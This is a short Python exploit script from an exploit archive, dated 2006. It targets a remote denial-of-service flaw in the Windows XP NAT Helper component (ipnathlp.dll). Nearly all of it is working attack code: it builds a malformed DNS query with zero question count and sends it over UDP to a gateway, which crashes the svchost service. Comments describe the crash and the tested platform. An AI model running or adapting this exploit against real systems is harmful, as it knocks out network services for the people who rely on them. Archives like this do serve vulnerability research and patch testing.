43 lines
No EOL
1,003 B
Python
Executable file
43 lines
No EOL
1,003 B
Python
Executable file
#!/usr/bin/python
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# Microsoft Windows NAT Helper Components (ipnathlp.dll) 0day Remote DoS Exploit
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# Bug discovered by h07 <h07@interia.pl>
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# Tested on XP SP2 Polish
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# Details:
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#
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# Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
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#
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# [Process svchost.exe, module ipnathlp]
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# --> MOV DL, [EAX]
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# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
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##
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from socket import *
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from time import sleep
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host = "192.168.0.1"
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port = 53
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buffer = ( # DNS (query)
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"\x6c\xb6" # Transaction ID: 0x6cb6
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"\x01\x00" # Flags: 0x0100 (Standard query)
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"\x00\x00" # Questions: 0
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"\x00\x00" # Answer RRs: 0
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"\x00\x00" # Authority RRs: 0
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"\x00\x00" # Additional RRs: 0 <-- Bug is here (0, 0, 0, 0)
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"\x03\x77\x77\x77" #
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"\x06\x67\x6f\x6f" #
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"\x67\x6c\x65\x03" #
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"\x63\x6f\x6d\x00" # Name: www.google.com
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"\x00\x01" # Type: A (Host address)
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"\x00\x01" # Class: IN (0x0001)
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)
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s = socket(AF_INET, SOCK_DGRAM)
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s.connect((host, port))
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s.send(buffer)
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sleep(1)
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s.close()
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# EoF
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# milw0rm.com [2006-10-28] |